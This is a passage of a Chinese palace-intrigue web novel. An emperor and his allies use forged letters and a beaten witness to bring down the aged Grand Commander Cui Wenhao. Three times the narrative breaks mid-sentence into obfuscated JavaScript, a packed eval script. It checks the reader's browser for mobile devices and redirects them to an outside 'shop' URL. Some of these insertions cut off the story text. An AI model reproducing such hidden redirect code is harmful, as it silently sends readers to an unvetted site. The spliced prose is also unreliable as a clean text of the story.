谁也不开口,顾之行只能自己打破沉默:“卑职有证据表明崔氏有通敌之嫌。” 人到老年什么东西都看的很开,崔文豪已很少会动气,但无故被关进宫中就算了,还被跪那么久,再加上身体疼痛难忍,也是被磨出了脾气:“不过几份可供任何人伪造的信,顾中郎将你真以为圣上糊涂了?凭借着这些就想定老夫的罪?” “信件上有独属于崔氏的家族徽章,卑职就算有本事,这章又从何伪造?” 这是铁了心要让崔文豪认下这些信是出自崔氏之手,可崔文豪在官场那么多年都屹立不倒也不是吃素的,当即道:“这老夫不知,顾中郎将应该问问这伪造之人,而不是上来就攀扯崔氏。顾中郎将这样挑拨君臣关系,老夫倒想问问是何居心?” 李暨终于动了,他缓缓道:“这些信言语暧昧,甚至透露出以关中一州之地投诚,换取你们之间友好往来的意思。” “当然朕相信崔太尉对朝廷的忠诚,绝不会做出此等欺君之罪。事关重大,只有物证,没有人证,顾之行你要怎么证明这信是真的?” 信是假的,可里面的内容有些确是真的,崔氏通敌之意很明显,圣上不想出那么多朝礼,可外番使臣又怎会放过快要到手的肥肉,要如何做?自然是许诺其他好处,比如一州之地;再比如某人的性命…… 这和他多年前干的脏事有异曲同工之妙。 顾之行面上一点都不急:“有人证,只是要多等些时间。” “既然如此,那就多等些时间吧。” 李暨一锤定音:“崔太尉已经等了好些时辰,再多等等应该不介意吧。” 崔文豪锤了锤自己的腿,笑道:“老臣为了证明清白自然不介意再等等,就只怕是顾中郎将到时候不好收场。” 顾之行:“这就不用崔太尉担心了。” “好了。” 李暨自然将他的动作尽收眼底,挪了挪位置,对黄忠道:“还不快扶太尉起来?太尉年事已高,怎么能让太尉一直这么跪着?!” 黄忠急忙道:“奴婢该死,奴婢这就扶太尉起来。” 说着赶忙下来亲自扶着崔文豪。 “多谢圣上。” 崔文豪跪得太久,双腿麻木,根本站不起来,只能借助黄忠的力量坐到椅子上,幸好他身体枯瘦,没几年肉,几乎松弛的皮肤贴着骨头,否则黄忠还真不一定扶得住他。 跪得太久,崔文豪整个身体颤颤巍巍的,好不容易坐起来才能勉强喘口气。 43. 深宫 原本紧贴头皮搭理整洁的稀疏白发,经过这一折腾都有些微乱了,连熨平整的衣袍都皱巴巴。 李暨静静地看着崔文豪,或许是这部棋局的胜负已定,他的神情罕见地透出一丝柔和,似是回忆起了什么往事,他笑道:“咳咳咳……太尉素来爱整洁,朕还几乎没见过太尉失态的样子。这样看来,今晚到是朕的过错了,让太尉受如此苦楚。” “老臣惭愧,圣上自临御以来,夙夜忧勤,躬行节俭,勤政为民,凡所举措,皆合天心、顺民意,已不再是当年需要老臣辅佐,事事都要问过老臣的年轻帝王了。” 崔文豪顺着李暨的话,摇头苦笑:“反观老臣执政多年,虽说没有功劳,可也却兢兢业业,夙夜不怠,临到了,到被人参了通敌的罪名,实在是为崔氏蒙羞。” 李暨默了片刻,似乎想说什么,但终究没开口。 崔文豪则是双手撑着双膝,似乎精神不济,他半低垂着脑袋,枯瘦如柴的手在宽大的衣袖里是如此的不合适,可这双手却也在不合适的时刻牢牢地将当今圣上护在身后,让他免受迫害。 李暨缓慢地移开了目光,重新变回了冷漠无情地帝王:“太尉若是清白,朕咳咳……自会为太尉主持公道。” 可这番许诺注定不会实现。 在场的人都知道。 他们只能在这场权势的争夺中不断厮杀,为自己赢下一份又一份筹码,胜者为王。 一个宦官推门进来,路过一条条垂帘纱布,走上前,他拱手道:“圣上,人带到了。” “带上来吧。” “是。” 一个几乎面目全非,鼻青脸肿的人被拖了进来。后面还跟着的一个人,那人踏入殿前似入家门,闲庭信步般走来,行跪首之礼:“草民李案参见圣上。 全场人的目光都落在李案身上,崔文豪暗中观察着这名不起眼的少年,眉头紧锁。 李暨假装不认识这人,对顾之行道:“这就是你说的证人?” “是。” 李暨没让他起身,顾之行只能一直跪着:“卑职有罪,如果不是他偶然间发现有人一直与外界联系,觉得有问题禀告给了卑职,卑职还不知……是卑职失察,还请圣上治罪。” “的确是该治你罪。” 李暨右臂撑在扶手上,是放松的姿势,说完这句话就没下文了,转而对李案道:“李案说你有证据证明太尉通敌,是真是假?你要知道太尉可是国之重臣,如果冤枉了他,别说崔太尉会不会放过你,朕确是不会轻易饶了你。” 下毒之事发生后,李案就让那仆从回去,并让顾之行派人一路跟踪,果然见到那史尧因为不放心,所以又去找那仆从。 当即将他抓住一顿询刑逼供,一开始史尧死鸭子嘴硬,不肯承认。 李案也不手软,问一句不说,就打一拳,他的拳头很硬。两下,把他鼻梁打歪;三下,门牙掉了两颗……如果昏过去,就泼冷水浇醒,继续问,继续打。史尧最终受不住压力,这才招供出崔氏和弥且沣之间的联系。 他们顺势带他找到弥且沣,直接摊牌,告诉他,他们知道他所谋为何,人证物证俱在,弥且沣想抵赖都抵赖不了,而他们更知道崔氏对他许诺什么。 不过是弥且孛扎的命,他们可以给,只是人不能死在阎都。除此之外,他们比崔氏给的更多,比如大梁公主的庇佑…… 大梁公主代表着大梁朝,对于目前没有任何势力支持的他来说是天大的礼物。 弥且沣天性警惕,本不相信,但李案是带着圣谕来的,旁边还有圣上最宠信之人,这让他不得不信。 而李案只要他一封手写信,是回绝崔氏条件的信。 走之前,弥且沣还不忘:“别忘了,我还要见你们的大梁皇帝。” 李案将信呈上:“回禀圣上,草民不敢妄言,草民原本是在弥且孛扎王子身边做事的,因为一次偶然发现……” 李案舌灿如花,一顿输出,崔文豪在他这愚昧之人的心中俨然成了一个十恶不赦的佞臣。 而顾之行则成了一名尽忠职守的忠臣。 “若圣上不信,可将这个史尧叫醒与我对峙。” 在李暨的示意下,小宦官将人叫醒,史尧一醒就开始求饶:“别打了,别打了,我已经全说了……是崔氏,这一切都是崔氏让我干的,和我没……不,我有罪,我该死,我不该这么做,饶了我吧,求你饶了我吧!呜呜……我真的知道错了,呜呜……” 他眼睛发直,身体蜷曲成一团,双手抱头,俨然一副神志不清的样子,也不知遭遇了什么样的酷刑。 不过话倒是全都招了,也不用再问。 李暨:“太尉你还有什么话要说?” “……” 崔文豪看着这一唱一和的一出戏,一出专门为他一人唱的,只为引他上套的戏。 颤颤巍巍地起身,伏跪而下:“老臣还是那句话,老臣不曾做的事,任谁诬赖老臣都不会认罪的。如果圣上实在怀疑,可以将老臣下狱,进行三司会审,而不是任由这些人诋毁老臣的清誉。” 李暨拍案而起:“你……” 李暨又何曾不想,可崔氏的势力在朝中盘根错节,仅凭这些,如何能撼动他的地位;他们大可以反咬一口,说这是这些人自导自演想要陷害崔氏的一出戏。 到那时面对群臣指责,李暨不得不自毁臂膀…… 所以崔文豪才敢如此说,他就是吃准了李暨根本拿不出更多证据证明他通敌。 否则李暨也不会半夜把他困在深宫里,希望借此逼他就范。 因为崔文豪通敌的证据并不在信上,这些造假的信,全是李案他们的推测,根本经不起追查。 只能用来吓唬人。 毕竟最为关键的人,并没有死。 弥且孛扎不死,崔氏就永远无法坐实这罪名。 而崔氏与弥且沣所交易的又何止一州之地,如果弥且孛扎一死,羌人必挥师南下,到时怕又会上演宣德八年的悲剧…… 这就是崔文豪最精明的地方,做事谨慎,从来让人挑不出什么错处来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560496|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是在多年前先帝对世家迫害,但崔氏还能屹立不倒的原因。 崔文豪突然大喊:“圣上,老臣冤枉啊!” 说罢,脑袋磕头,再不肯言语半分。 李暨和他一比还是太嫩了,被他这一声喊冤,激得病又犯了,还没来得及说话,就捂嘴猛烈咳嗽起来,竟咳出了血。 而他晕血,所以他两眼一黑,就要栽倒过去…… “圣上!” 黄忠连忙将晕倒的李暨搀扶住,神色焦急地朝外喊:“快,快传御医过来!” 剩下的宫人手忙脚乱把昏倒的李暨扶到偏殿的塌上休息。 谁也没想到李暨会陡然发病,神色各异。 李案轻蔑一笑,低声暗骂道:“老匹夫。” 这声极轻,在混乱嘈杂的氛围里本该无人在意,可崔文豪却扭头看他。 李案亦毫不畏惧地直视他,笑容中带着一丝不易察觉的挑衅。 崔文豪:“……” 这番对峙,以李暨晕倒结束,崔氏胜一筹。 但这才开始,铜壶更漏的上层壶水流缓慢地注入下层受水壶,浮箭上升,露出刻度,已经五更天了。 * 政事堂内,得知消息一早赶来的众臣,聚众在一起商讨对策。 “圣上这是何意啊?怎么突然对崔氏发难?!莫不是打算……” 完全不知情的兵部侍郎:“我与崔府是近邻,早晨上朝路过时,见的是魏西军将崔府团团包围,你们说是不是魏西军要反叛了?” 立马有官员反驳:“怎么可能,别胡说!魏西军镇守边疆多年,怎么可能说叛就叛?况且就算叛也是包围皇宫,围住崔府算什么事?!” 被说了一通的兵部侍郎很年轻,是三十而立的年纪,这样的年纪还是有点血性在的,他撇嘴,小声叨叨:“要粮没有,要钱朝廷也没有。还要受你们这群人的气。要我,我就反了。” 幸好声音太小,没人听见,否则定会被人参奏。 他们这边商量,也没商量个着落,周稠锦便提议:“我们一起写奏折,面圣。” 众臣齐声应答。 圣上不由分说就软禁臣子的府邸,还是有从龙之功的崔府,不知内情的他们,产生了极大的不安与危机意识。 不一会儿,明曦殿外就跪了乌泱泱的人群,他们高举奏折,嘴上喊着:“微臣请求见圣上一面!” “崔太尉为国鞠躬尽瘁多年,求圣上开恩!” 顾之行听着外殿的声音,原本垂着的眼眸,半睁开,他看了看铜壶更漏,一丝明亮微光从窗柩处透出,铜壶边反射出的亮光刺得人眼睛发酸。 陡然间,天气迅速变暗,光亮不在,乌云压顶,狂风大作,酝酿了一夜的暴雨,在黎明的那一刻下了下来。 这雨下得又急又快,像是在发泄,大颗大颗地全地砸在屋顶上,地上和跪在外面的臣子们身上。 疾风骤雨总会让人的内心不太安稳,几乎要睡着的崔文豪也被这雨敲打门窗,屋檐的声音给敲醒了。 44. 雨中 殿外一群跪着的大臣们身上全都被雨淋成了落汤鸡,但倾盆而下的雨幕依然抵挡不住他们的喊声:“圣上,我们要面见圣上!” 李案不知何时挪到了顾之行的旁边,他小声问道:“怎么样,你的膝盖还受得住吗?” 顾之行眉头微蹙,唇色发白,跪了一夜,让他下半身几乎失去知觉,只能靠意志力硬撑,但他还是道:“受得住。” 就算受不住,也要受着。 李案看出顾之行的硬撑,看向偏殿,站起身要往内走去,顾之行下意识拉住他的衣角:“你要做什么?” 事情闹到如此地步,已无法收场,圣上盛怒,此刻再去无异于在往枪口上撞。 这件事是他们太草率了。 李案瞅了一眼崔文豪,笑道:“这样僵持下去是解决不了问题的,我先看看圣上醒了没有。” “……” 顾之行望着李案的笑眼,可一如往昔,他看不透,所以他……松开了手。 还没等李案靠近,他就被宦官拦了下来:“此地是圣上休息的地方,无召得入内!” 李暨早就醒了,被黄忠扶起坐在床上,听着外面的声音,气得说不出话。 事情的发展已经超出了他的预期,他原本以为只要让崔文豪脱离崔氏,将他架在深宫中,再拿出证据,晓之以理动之以情,让他乖乖请辞回家养老,君臣之间也算圆满,也成全了两人的情谊。 可崔文豪这老狐狸却偏偏一口气堵住了他剩下的所有的话,死活不认账。明明是半个身子都快埋进黄土的人,却还死死捏着权柄不肯撒手,难不成真的要抱着“太尉”这个头衔入棺材吗?! 李案又跪下:“草民请求面见圣上。” 李暨正愁怒火无处发,立马吩咐人将他带进来。 李案进来,磕首:“草民……” “这就是你们说的计策?蠢笨的家伙,被人摆了一道都不知道!” 李暨打断他的话,压低声音,急促道:“朕看你是大皇子推荐的人,前段时间表现得还不错,朕才如此信任你,要是事态再这样发展下去,朕第一个拿你开刀!” 李案并没有被威胁吓到,不急不躁:“圣上忘记了吗?我们还有一个底牌……” 李暨愣住,随后目光变得冰冷。 然后是某种尖锐东西砸在地上的声音,圣上发火了。 可随之而来死一般的寂静。 寂静过后,李案安然无恙地出来了。 崔文豪和顾之行都不知道里面发生了什么事,但很快他们就都知道了。 宫闱之中有禁卫巡视,本是戒备森严的地方,可远方却隐隐约约传来歌声,那歌声被连绵不绝的雨声截断成不成调的絮语,似低语,似悲吟,不仔细听是听不出来的。 一位跪在末尾,正磕头请愿的官员听见了,他抬首又仔细听了一会儿,怕听错了还去问旁边和他一起跪着的官员:“哎,你有听见什么声音吗?” “什么?” 旁边跪着的官员年纪比较大,有些耳背,凑近道:“你说什么?” 对着他的耳朵喊的,声音极大,年轻官员差点被这喊声震得耳鸣。他默不作声地掏了掏耳朵,也对着喊他耳朵喊:“……没什么,可能是我听错了!” “啊,你说什么?!” 大概是生怕别人听不见,这次凑得更近了,吐沫星子都喷人脸上了。年轻官员抹了把脸,已黑线,几次想开口但都生生忍住了。 算了,他和一位老人计较什么? 正准备专心跪着,那歌声更近了。这次不止他听见了,其他人也听见了;他们纷纷抬头,左顾右盼想听清这歌声来自哪里。 他们听清了,唱的是童谣,歌词大意是:“小老鼠,尾巴长,卖了将军换……城头旗,变了样,娃娃不认爹和娘。” 可唱歌的不是孩童,反而是成年男子的声音,议论声纷纷响起,其中几位听出隐喻的官员,脸色已是变了几变。 突然一位跌跌撞撞,身着脏乱且破旧不堪中衣,赤着脚的男人拍着手,跳着舞,出现在众人的视线里,这童谣就是出自他之口。 宫道上,瓢泼大雨中,那人衣衫尽湿,完全湿透的头发黏在脸上,正常人应该找个地方躲雨,但他好似感受不到下雨,脸色尽是疯狂之色。脚踩着低处积洼上,溅起的泥水打湿了他的裤脚。 他痴笑着,拍手转圈,重复着那几句童谣:“……变了样,娃娃不认爹和娘,不认爹和娘……” 离得近了,他们才发现这像乞丐疯子一样的人,不是郑旭吗? 他怎么变成这样了?! 这,他唱得是什么意思?! 什么叫卖了将军换银两?! 他们还没搞明白,郑旭就冲了进来,将他们的队形打乱了。 有几个人站起来,怒斥道:“郑旭你,你做什么……” “小老鼠,尾巴长……” 郑旭是真的疯了,听不见怒斥声似的,闯过来后逮着个人就拉着他们转圈,他手劲很大,对面的又都是些手无缚鸡之力的官老爷们,一时竟然挣脱不了,只能跟着转…… 原本严肃的场面转眼变成了手拉手大家一起转圈唱歌……简直荒诞到让人不敢直视。 终于有人看不下去,周稠锦上前拉住他的胳膊:“郑旭,你这是在做什么?你疯了不成?!” 郑旭被吼得一愣,好似才缓过神来,他转动眼珠子看他:“郑旭,郑旭是谁啊?你是郑旭吗?” 周稠锦提高嗓音:“你在说什么疯话,你才是郑旭,你这些日子都经历了什么?怎么变成如今这副人不人鬼不鬼的样子?!是谁让你进宫的?!” 一连串的问题像珠子一样砸向他,他晃了晃身子,似是呆住了。半天,浑浊的眼珠子又转向一边,还要唱:“烽火报,不……” 周稠锦见他还要唱,怕真的抖落出什么事情来,狠了狠心,一个拳头挥过去,正好砸在郑旭的鼻梁上,郑旭被砸得仰倒在地,鼻子流出了鲜血。 “周尚书,你这是在做什么?!” 周稠锦此人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574031|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯保持风度,旁人甚少见他动怒,此刻看他竟然动手打同僚,立马七手八脚将他拉住。 周稠锦喘了口气才道:“这个人一直在疯言疯语,我看他是彻底疯了,我要把他打醒!” 郑旭的衣服被污泥彻底浸湿,雨水滴在他眼睛上,他下意识闭眼,周围混乱的声音让他思绪清醒不少。 突然他狂笑起来,摇摇晃晃地站起身子,指着他们骂道:“你们这些走狗,崔氏的走狗,就是你们害得褚良……” “郑旭!” 周稠锦大喝一声,雨下得更大了,淋得他睁不开眼,他摸了把被雨淋湿的脸,怒骂道:“你个蠢货……” 这个字眼彻底将郑旭激怒了,他冲上前将周稠锦压在地上,眼眶通红:“崔霄你不许骂我,你,你凭什么骂我?!你不过是出生的比我好,其它的哪个比得上我,论才学……” 周稠锦的官帽被撞掉在地上,又被上前阻止的众人踩进水坑里。 周稠锦也不甘示弱,两个位高权重的人竟在这污泥地上,不顾身份像地痞流氓一样扭打起来。 其他人想要让他们分开,劝架的劝架,帮架的帮架,不顾形象直接干了起来,官服被污泥浊水侵蚀,变得非常脏。 官帽官服对官员来说都无比重要,君子正衣冠,读书人出门都要整理着装,官员更要做其表率,毕竟失去这些你就什么都不是,可现在…… 在一片混乱中,突然一直大手捂住了郑旭的嘴巴,又将他推倒在地上,几个人死死地压住他,力气之大到他们脖子上的青筋都凸显出来,他们不想再让郑旭说出任何话,无论是疯话还是笑话。 正如他们之前死死地捂住下边人的嘴,不让他们开口说话一样…… 郑旭被死死压在最下面,脸在地上摩擦出血,上涨的污水灌进他的鼻子,让他无法呼吸,眼睛酸疼,他只能不停挣扎,瘦削的手向上似乎想去抓握什么,可他像那些曾经被逼得走投无路的百姓一样,什么都抓不到…… 直到一声尖锐的声音打破了这场闹剧:“哎呦喂,各位大人这是在做什么啊?!这,这……成何体统啊!” 各位官员才纷纷停手,没把郑旭被弄死。 黄忠站在台阶之上,满脸严肃。 因由人撑着伞,他身上是半点雨水都没沾,对比平时拿鼻孔看他们,现在却个个狼狈不堪的官老爷们,简直是天差地别。 众官员:“……” 刘海龙几乎参与这场闹剧,所以身上还算干净,他上前一步,笑道:“黄内侍,圣上是有什么旨意吗?” 黄忠这才想起什么似的,开口道:“圣上有旨,让奴婢将郑旭带进去。” 说完示意旁边的宦官把躺在地上不动弹的郑旭拉起来,带进去,刚要转身回去。 周稠锦眉头紧锁:“黄内侍,圣上还有其他旨意吗?” 黄忠很干脆:“没有。” “等等。” 周稠锦见黄忠要走,又道:“黄内侍是圣上的知心人,可知圣上何时打算召见我们?” 45. 算计 “圣上的旨意,奴婢不敢揣测。” 黄忠丢下这一句就走了,只留下满心惶然的众臣。 李暨已平复好心情,重新端坐在上位,神色阴郁。 崔文豪的脸色也没好到哪里去,除了跪得久了,身体实在撑不住外。 黄门外,众臣高声喊叫的话语,一字不落地都落到他的耳朵里,当然也包括郑旭那首不知何人教给他的童谣。 郑旭几乎是被人拖着进来的,衣服还在往下滴水,整个人宛如刚在水塘里打完滚的死猪被捕捞上岸,在干净明亮的地板上留下一条长长的泥水痕迹。 如今他被贬为平民,那些宦官也不再客气,扔垃圾般把郑旭丢在崔文豪面前,骨头撞在地上发出脆响。 崔文豪听见声音,抬起松弛的眼皮去看,见昔日的得意门生现今却落得个这样的下场,眼底不由得涌出一丝悲凉。 却还是强撑着精神问:“圣上这是何意?” 李暨仍然不想撕破脸:“太尉多年来为大梁殚精竭虑,朕都看在眼底,记在心上,只是太尉终究是老了。既然老了,那就应该把机会让给其他人。” 说白了是让崔文豪主动辞官回乡,事情走到如此地步,君臣早已撕破脸皮。 李暨却只是让他主动辞官,让他落一个清名,可以安享晚年,若是其他人怕早已感恩不尽,答应了。 可崔文豪却从中看出更深的一层意味,崔氏如今的地位全依赖于他一人身上。若他真的放权……他想起自己那脾气暴躁,不知收敛的儿子和还不成什么气候孙子们…… 如今崔氏势大招风,已成了圣上的心头刺,今日他是可以全身而退保全自身,可若后面圣上再对崔氏发难……他的那些儿孙们又该如何应对? 崔文豪站起来,因没人扶,他起身的姿势很狼狈,双腿一直在颤抖,直了一辈子的腰在此刻也弯了。 他道:“古有姜尚古稀才得周王重用,老臣耳清目明,并不觉得自己老了。若圣上对老臣实在无话可说,老臣便起身告退了。” “太尉你……大胆!” 崔文豪面色决绝,不顾李暨在身后大喊,转身要踏出殿门,这些宦官哪敢让他走,急忙拦住。他左右扫视,沉声道:“我看谁敢拦我!” 他身居高位多年,自是不怒自威,那些宦官被他眼神一扫,竟吓得一时呆愣在原地不知如何反应,就这么由他走了。 李暨被崔文豪这一遭气得发抖,双拳紧握,脸色变了又变,十分难看,半响才吩咐顾之行:“传朕旨意,崔太尉蔑视天威且有通敌之嫌,立刻将他押送进狱中,查办!” 顾之行领命:“卑职遵旨。” 郑旭原本还跪趴在地上,可在听到李暨的旨意后,整个人像打了鸡血似的,爬起来,在众人根本来不及反应间隙中一头扎进雨中, 崔文豪佝偻着腰在雨中行走,稀疏的头发被打湿远远看上去像一只落汤老母鸡。 “老师!” 郑旭追上前来,“噗通”一声跪下,手死死搂住崔文豪的大腿,神思似乎又不清醒了,说话颠三倒四,囚禁在别院的那些日子,他受尽了折磨:“老师,救我!老师你为何不救我!你曾说过我是你最疼爱的学生啊!可你抛弃了我,你选择了他们……为什么?!因为我不是你亲生的孩子?!可我为了你,为了崔氏,干了那么多见不得人的事,我一句怨言都没有!老师,老师,你不能不管我!” “老师,我恨,我太恨了……不,老师我不怨你,我只怨我自己……老师对不起,我也是迫不得已,我真的是迫不得已啊!你没看见他们怎么对我的……所以我招了,我都招了……” 崔文豪被他这一撞差点摔倒,听着郑旭的话,心中翻涌出无数情绪,最后都只能化作一声“孽”啊!他突然将身扭过去,用手钳住他的胳膊想要将他从地上拽起,见郑旭不起来,恨铁不成钢地叹道:“起来,哭哭啼啼的有什么用?!我现在也……救不了你,你好自为之吧。” 说着将郑旭的手指一根根掰开,头也不回地走了。 两人从此以后恩断义绝,再无干系。 郑旭知道是自己有负师恩,流下两行清泪,突然他凄厉地朝崔文豪喊了一声:“老师!” 接着“砰砰砰”地连磕了好几个响头,像是在求原谅,又像是在诀别,用力过猛到额头都流血了。 如果不是顾之行带人赶到,他怕是还要磕下去。 崔文豪也被收押在狱中,在送入狱中前,还遭到了在外面周稠锦等人阻拦,被顾之行以一己之力挡了回去。 众臣一看这样不行,拿出死谏的气势又重新跪了下来,哭喊着求见李暨。 雨势渐小,雾气蒙蒙,周围的建筑都显得不太真切。 等顾之行从狱中出来,连绵的细雨几乎让人感受不到。 顾之行衣服在送犯人的途中都被雨淋湿了,为免失礼,他重新回去换了身干净的衣服,才回宫向李暨复命。 不知李案与李暨在聊什么,李暨精神状态并不好,像是一下子苍老了十岁,他似乎很生气,但却一直隐忍着没有发作。 最后只让顾之行和李案一起滚出去。 李案身为平民无故不得在宫中逗留,他被宦官指引着出宫后,顾之行已经在宫门外等他。 “李案。” 顾之行在李案要离开之际,从身后喊住了他:“你难道没有什么想要对我解释的吗?” 当时李案拿出临时制造的“假圣谕”以顾之行的名义骗弥且沣,圣上许诺了他回去后会得到大梁公主的庇佑。 事态紧急,顾之行尽管意识到自己进了李案的圈套,但并没有否认。后来得到弥且沣的供词后要立刻回禀圣上,并联合陆思臣一起布局将崔氏套入其中,他也没来得及去问,现在才得空问出这个问题。 “哥哥,是问圣谕之事?” 李案也明白顾之行在问什么,转身笑道:“哥哥聪明,那圣谕的确是假的,我一介白衣怎么可能有能耐说动圣上做出如此重要的决定。” 所以为了计划能够顺利进行,他先斩后奏,撒谎了。 完全不怕事后被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾之行略微偏头,已不想再看这人,只道:“我会帮忙,不过作为交换,你要解答我几个疑问。” “好。” “郑旭那首童谣是你教给他的?那首童谣表达的是什么意思?以至于连圣上对其都讳莫如深。” 顾之行抬头眺望,远方橙黄色的斜阳透过云层照拂大地,他却感受不到任何暖意,他顿了片刻道:“是宣德八年的那场战役?那场败仗其实事出有因?” 回顾宣德年间的朝中大事,郑旭那首童谣中的“城头旗,变了样”不就是指一十三州等地沦陷;而那“山雀”直指着崔氏。可李暨却对其视而不见,甚至双方早就无回头之路可走,但李暨依然不愿拿它去逼迫崔文豪就犯。 李暨明摆着早已知道,却不查办;是畏惧崔氏的权势还是他亦是其中通敌卖国之人……